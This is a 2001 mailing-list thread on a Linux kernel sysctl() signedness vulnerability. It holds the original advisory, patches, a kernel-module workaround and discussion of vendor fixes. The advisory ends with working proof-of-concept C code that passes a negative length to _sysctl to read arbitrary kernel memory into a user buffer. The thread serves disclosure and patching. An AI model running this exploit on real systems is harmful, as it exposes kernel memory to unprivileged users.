Re: Linux kernel sysctl() vulnerability

2001-02-12 Thread Joost Pol2

'Night all,

Should this not be fixed in copyout/copyin instead?

It probarly occurs at other places instead of sysctl as well.

Kind regards,
Joost Pol alias Nohican ([EMAIL PROTECTED])
:wq

On Sat, Feb 10, 2001 at 02:43:38PM -0800, Greg KH wrote:
 On Sat, Feb 10, 2001 at 10:28:01AM +0100, Florian Weimer wrote:
 
  The following trivial patch should fix this issue.

 Here's the patch that Alan accepted and put into 2.2.18-pre9 to fix this
 problem.

 greg k-h

 --
 greg@(kroah|wirex).com
 http://immunix.org/~greg



Re: Linux kernel sysctl() vulnerability

2001-02-12 Thread Stephen White

On Sat, Feb, 2001, Florian Weimer wrote:
 Chris Evans [EMAIL PROTECTED] writes:
  There exists a Linux system call sysctl() which is used to query and
  modify runtime system settings. Unprivileged users are permitted to query
  the value of many of these settings.

 The following trivial patch should fix this issue. (I wonder how you
 can audit code for such vulnerabilities.  It's probably much easier to
 rewrite it in Ada. ;-)

The attached kernel module should sanitise input to the sysctl sycall to
prevent the problem without forcing a kernel recompile or upgrade.  I
assume the vulnerability can't be exploited via the /proc sysctl
interface.

Unfortunately the module does nothing for the ptrace race condition,
though a module to disable ptrace would be trivial it would disable
strace and some features of gdb and so on.

--
Stephen White  \OU Compsoc System Administration Team
PGP Key ID: 0xC79E5B6A  \  System Administration Co-ordinator
[EMAIL PROTECTED]  \ http://ox.compsoc.net/~swhite/


/* Stephen White 10/2/2001
   [EMAIL PROTECTED]

   sysctl_fix.c, compile:
   gcc -Wall -DMODULE -D__KERNEL__ -c sysctl_fix.c

   (on Redhat/UltraSparc with
sparc64-linux-gcc -m64 -mno-fpu -mcmodel=medlow -mcpu=ultrasparc
-ffixed-g4 -fcall-used-g5 -fcall-used-g7 -Wall -DMODULE -D__KERNEL__
-c sysctl_fix.c )

   Prevent sysctl exploit discovered by Chris Evans by properly validating
input against negative numbers,

*/

#include linux/kernel.h
#include linux/config.h

#include linux/module.h
#include linux/version.h

#include linux/types.h
#include linux/errno.h
#include linux/sched.h
#include sys/syscall.h
#include linux/linkage.h

#include asm/uaccess.h

#include linux/sysctl.h

extern void *sys_call_table[];

int (*old_sysctl)(struct __sysctl_args *args);

asmlinkage int validate_sysctl(struct __sysctl_args *args)
{
struct __sysctl_args tmp;

if(copy_from_user(tmp, args, sizeof(tmp)))
return -EFAULT;

if (tmp.nlen  0) goto bad;

if (tmp.oldval) {
int old_len;
if (copy_from_user(old_len, tmp.oldlenp, sizeof(old_len)))
return -EFAULT;
if (old_len  0) goto bad;
}

if (tmp.newval)
if (tmp.newlen  0) goto bad;

return (*old_sysctl)(args);

bad:
printk("sysctl: arguments failed sanity check for user %i\n",current-uid);
return  -EINVAL;
}

int init_module()
{
  old_sysctl = sys_call_table[__NR__sysctl];
  sys_call_table[__NR__sysctl] = validate_sysctl;

  return 0;
}

void cleanup_module()
{
  sys_call_table[__NR__sysctl] = old_sysctl;
}



Re: Linux kernel sysctl() vulnerability

2001-02-10 Thread Florian Weimer

Chris Evans [EMAIL PROTECTED] writes:

 There exists a Linux system call sysctl() which is used to query and
 modify runtime system settings. Unprivileged users are permitted to query
 the value of many of these settings.

It appears that all current Linux kernel version (2.2.x and 2.4.x) are
vulnerable.  Right?

Was it really necessary to release this stuff just before the weekend?

The following trivial patch should fix this issue. (I wonder how you
can audit code for such vulnerabilities.  It's probably much easier to
rewrite it in Ada. ;-)

--- sysctl.c2001/02/10 09:42:12 1.1
+++ sysctl.c2001/02/10 09:42:26
@@ -1123,7 +1123,7 @@
  void *oldval, size_t *oldlenp,
  void *newval, size_t newlen, void **context)
 {
-   int l, len;
+   unsigned l, len;

if (!table-data || !table-maxlen)
return -ENOTDIR;

--
Florian Weimer[EMAIL PROTECTED]
University of Stuttgart   http://cert.uni-stuttgart.de/
RUS-CERT  +49-711-685-5973/fax +49-711-685-5898



Re: Linux kernel sysctl() vulnerability

2001-02-10 Thread Ryan W. Maple

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1


On Sat, 10 Feb 2001, Florian Weimer wrote:

 Chris Evans [EMAIL PROTECTED] writes:

  There exists a Linux system call sysctl() which is used to query and
  modify runtime system settings. Unprivileged users are permitted to query
  the value of many of these settings.

 It appears that all current Linux kernel version (2.2.x and 2.4.x) are
 vulnerable.  Right?

 Was it really necessary to release this stuff just before the weekend?

Caldera and Immunix issued advisories on Thursday, and Red Hat issued one
early Friday.  Alan Cox said that it would be fixed in 2.2.19pre9 which
was also released on Friday (IIRC).

I do agree that releasing it right before the weekend was not the _best_
thing to do, but updates were available on Thursday.

Cheers,
Ryan

 +-- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --+
   Ryan W. Maple  "I dunno, I dream in Perl sometimes..."  -LW
   Guardian Digital, Inc. [EMAIL PROTECTED]
 +-- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --+
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.0.4 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE6hZXWIwAIA9MpKWcRAg36AJ99ZmDHtY1NH2SJQBlrOHUWjzm+fACeIQFG
R9TXzt2yqzU478Jx4Z384OE=
=zZ+R
-END PGP SIGNATURE-



Re: Linux kernel sysctl() vulnerability

2001-02-10 Thread Aleksander Kamil Modzelewski

On Sat, Feb 10, 2001 at 10:28:01AM +0100, Florian Weimer wrote:
  There exists a Linux system call sysctl() which is used to query and
  modify runtime system settings. Unprivileged users are permitted to query
  the value of many of these settings.
 It appears that all current Linux kernel version (2.2.x and 2.4.x) are
 vulnerable.  Right?
But not in Alan Cox'es version.
In 2.4.1-ac4:

/* The generic string strategy routine: */
int sysctl_string(ctl_table *table, int *name, int nlen,
  void *oldval, size_t *oldlenp,
  void *newval, size_t newlen, void **context)
{
size_t l, len;

Another thing is, that t shows, that someone already noticed the
problem :/

Greets
Aleksander Kamil Modzelewski
ps. This is my first posting. Hope I did not make a fall-start :)
pps. OK, I did, but this is a long story :)

--
/==]n0iR[==.__  /\
| [EMAIL PROTECTED]   `\ BOFH excuse #89: Electromagnetic energy loss   `|
+ BOFH #1 of #radom `\   |
|\  UIN: #89507110`\ |
\--\/'



Re: Linux kernel sysctl() vulnerability

2001-02-10 Thread Greg KH

On Sat, Feb 10, 2001 at 10:28:01AM +0100, Florian Weimer wrote:

 The following trivial patch should fix this issue.

Here's the patch that Alan accepted and put into 2.2.18-pre9 to fix this
problem.

greg k-h

--
greg@(kroah|wirex).com
http://immunix.org/~greg


diff -Naur -X /home/greg/linux/dontdiff linux-2.2.18/include/linux/sysctl.h 
linux-2.2.18-greg/include/linux/sysctl.h
--- linux-2.2.18/include/linux/sysctl.h Sun Dec 10 16:49:44 2000
+++ linux-2.2.18-greg/include/linux/sysctl.hFri Jan 26 10:28:40 2001
@@ -30,7 +30,7 @@

 struct __sysctl_args {
int *name;
-   int nlen;
+   unsigned nlen;
void *oldval;
size_t *oldlenp;
void *newval;
@@ -465,7 +465,7 @@

 typedef struct ctl_table ctl_table;

-typedef int ctl_handler (ctl_table *table, int *name, int nlen,
+typedef int ctl_handler (ctl_table *table, int *name, unsigned nlen,
 void *oldval, size_t *oldlenp,
 void *newval, size_t newlen,
 void **context);
@@ -484,12 +484,12 @@
 extern int proc_dointvec_jiffies(ctl_table *, int, struct file *,
 void *, size_t *);

-extern int do_sysctl (int *name, int nlen,
+extern int do_sysctl (int *name, unsigned nlen,
  void *oldval, size_t *oldlenp,
  void *newval, size_t newlen);

 extern int do_sysctl_strategy (ctl_table *table,
-  int *name, int nlen,
+  int *name, unsigned nlen,
   void *oldval, size_t *oldlenp,
   void *newval, size_t newlen, void ** context);

diff -Naur -X /home/greg/linux/dontdiff linux-2.2.18/kernel/sysctl.c 
linux-2.2.18-greg/kernel/sysctl.c
--- linux-2.2.18/kernel/sysctl.cSun Dec 10 16:49:44 2000
+++ linux-2.2.18-greg/kernel/sysctl.c   Fri Jan 26 10:31:38 2001
@@ -77,7 +77,7 @@

 extern int pgt_cache_water[];

-static int parse_table(int *, int, void *, size_t *, void *, size_t,
+static int parse_table(int *, unsigned, void *, size_t *, void *, size_t,
   ctl_table *, void **);
 static int proc_doutsstring(ctl_table *table, int write, struct file *filp,
  void *buffer, size_t *lenp);
@@ -320,7 +320,7 @@
 }


-int do_sysctl (int *name, int nlen,
+int do_sysctl (int *name, unsigned nlen,
   void *oldval, size_t *oldlenp,
   void *newval, size_t newlen)
 {
@@ -330,10 +330,12 @@

if (nlen == 0 || nlen = CTL_MAXNAME)
return -ENOTDIR;
-   
-   if (oldval)
-   {
-   int old_len;
+
+   if ((ssize_t)newlen  0)
+   return -EINVAL; 
+
+   if (oldval) {
+   size_t old_len;
if (!oldlenp)
return -EFAULT;
if(get_user(old_len, oldlenp))
@@ -387,7 +389,7 @@
return test_perm(table-mode, op);
 }

-static int parse_table(int *name, int nlen,
+static int parse_table(int *name, unsigned nlen,
   void *oldval, size_t *oldlenp,
   void *newval, size_t newlen,
   ctl_table *table, void **context)
@@ -430,11 +432,12 @@

 /* Perform the actual read/write of a sysctl table entry. */
 int do_sysctl_strategy (ctl_table *table,
-   int *name, int nlen,
+   int *name, unsigned nlen,
void *oldval, size_t *oldlenp,
void *newval, size_t newlen, void **context)
 {
-   int op = 0, rc, len;
+   int op = 0, rc;
+   size_t len;

if (oldval)
op |= 004;
@@ -458,6 +461,8 @@
if (oldval  oldlenp) {
get_user(len, oldlenp);
if (len) {
+   if (len  0)
+   return -EINVAL;
if (len  table-maxlen)
len = table-maxlen;
if(copy_to_user(oldval, table-data, len))
@@ -642,7 +647,7 @@
 int proc_dostring(ctl_table *table, int write, struct file *filp,
  void *buffer, size_t *lenp)
 {
-   int len;
+   size_t len;
char *p, c;

if (!table-data || !table-maxlen || !*lenp ||
@@ -710,7 +715,8 @@
 static int do_proc_dointvec(ctl_table *table, int write, struct file *filp,
  void *buffer, size_t *lenp, int conv, int op)
 {
-   int *i, vleft, first=1, len, left, neg, val;
+   int *i, neg, val;
+   size_t len, left, vleft, first=1;
#define TMPBUFLEN 20
char buf[TMPBUFLEN], *p;

@@ -832,7 +838,8 @@
 int proc_dointvec_minmax(ctl_table *table, int write, struct file *filp,
  void *buffer, size_t *lenp)
 {
-   int *i, *min, *max, vleft, first=1, len, left, neg, val;
+   int *i, *min, *max, neg, val;
+   size_t len, 

Linux kernel sysctl() vulnerability

2001-02-09 Thread Chris Evans

Hi,

OVERVIEW

There exists a Linux system call sysctl() which is used to query and
modify runtime system settings. Unprivileged users are permitted to query
the value of many of these settings.

The unprivileged user passes in a buffer location and the length of this
buffer. Unfortunately, by specifying a negative buffer length, a user can
read pretty arbitrary kernel memory.


DISCUSSION OF FLAW

Looking at linux/kernel/sysctl.c: sysctl_string()

int l, len;
...
if (oldval  oldlenp) {
if(get_user(len, oldlenp))
return -EFAULT;
if (len) {
l = strlen(table-data);
if (len  l) len = l;
if (len = table-maxlen)
len = table-maxlen;
if(copy_to_user(oldval, table-data, len))
return -EFAULT;

The contents of variable "len" are totally under the control of a
malicious user. Since len is declared as signed, a negative value may be
used. This bypasses the "len = table-maxlen" check and copies kernel
data to userspace, starting at "table-data".

The sysctl.c file contains several signed/unsigned mixups like the above.


To exploit this, there are a couple of minor issues.
1) copy_to_user() virtual address space wrap check. A check in the kernel
means we need to place the destination user space buffer low in the
virtual address space, using mmap(). The default heap location on i386 is
too high.

2) The usefulness of this exploit will vary depedending upon if the
address of the table-data pointer used is _before_ lots of interesting
kernel stuff. On ix86 Linux, this certainly seems to be the case.

3) I have a report that the kernel may be caused to hang using this bug.
I haven't investigated.

FIX

The recent flurry of updated kernels from vendors include a fix for the
sysctl() problem. The fix is essentially to use unsigned variables for the
lengths.


COMMENTS

As we see, integer signedness issues seem to be everywhere. Subtle flaws
like these are a great concern because they are hard to spot and audits
will miss them.

Quick hacky demo code of how you might go about playing with this, is
appended.

Cheers
Chris

/* Excuse the lack of error checking */
#include sys/types.h
#include sys/stat.h
#include fcntl.h
#include sys/mman.h
#include unistd.h
#include linux/unistd.h
#include linux/sysctl.h
_syscall1(int, _sysctl, struct __sysctl_args *, args);

#define BUFLEN 100

int
main(int argc, const char* argv[])
{
  struct __sysctl_args args_of_great_doom;

  int names[2] = { CTL_KERN, KERN_NODENAME };
  /* Minus 2 billion - somewhere close to biggest negative int */
  int dodgy_len = -20;
  int fd;
  char* p_buf;

  fd = open("/dev/zero", O_RDWR);
  p_buf = mmap((void*)8192, BUFLEN, PROT_READ | PROT_WRITE,
   MAP_FIXED | MAP_PRIVATE, fd, 0);

  memset(p_buf, '\0', BUFLEN);
  fd = open("before", O_CREAT | O_TRUNC | O_WRONLY, 0777);
  write(fd, p_buf, BUFLEN);

  args_of_great_doom.name = names;
  args_of_great_doom.nlen = 2;
  args_of_great_doom.oldval = p_buf;
  args_of_great_doom.oldlenp = dodgy_len;
  args_of_great_doom.newval = 0;
  args_of_great_doom.newlen = 0;

  _sysctl(args_of_great_doom);

  fd = open("after", O_CREAT | O_TRUNC | O_WRONLY, 0777);
  write(fd, p_buf, BUFLEN);
}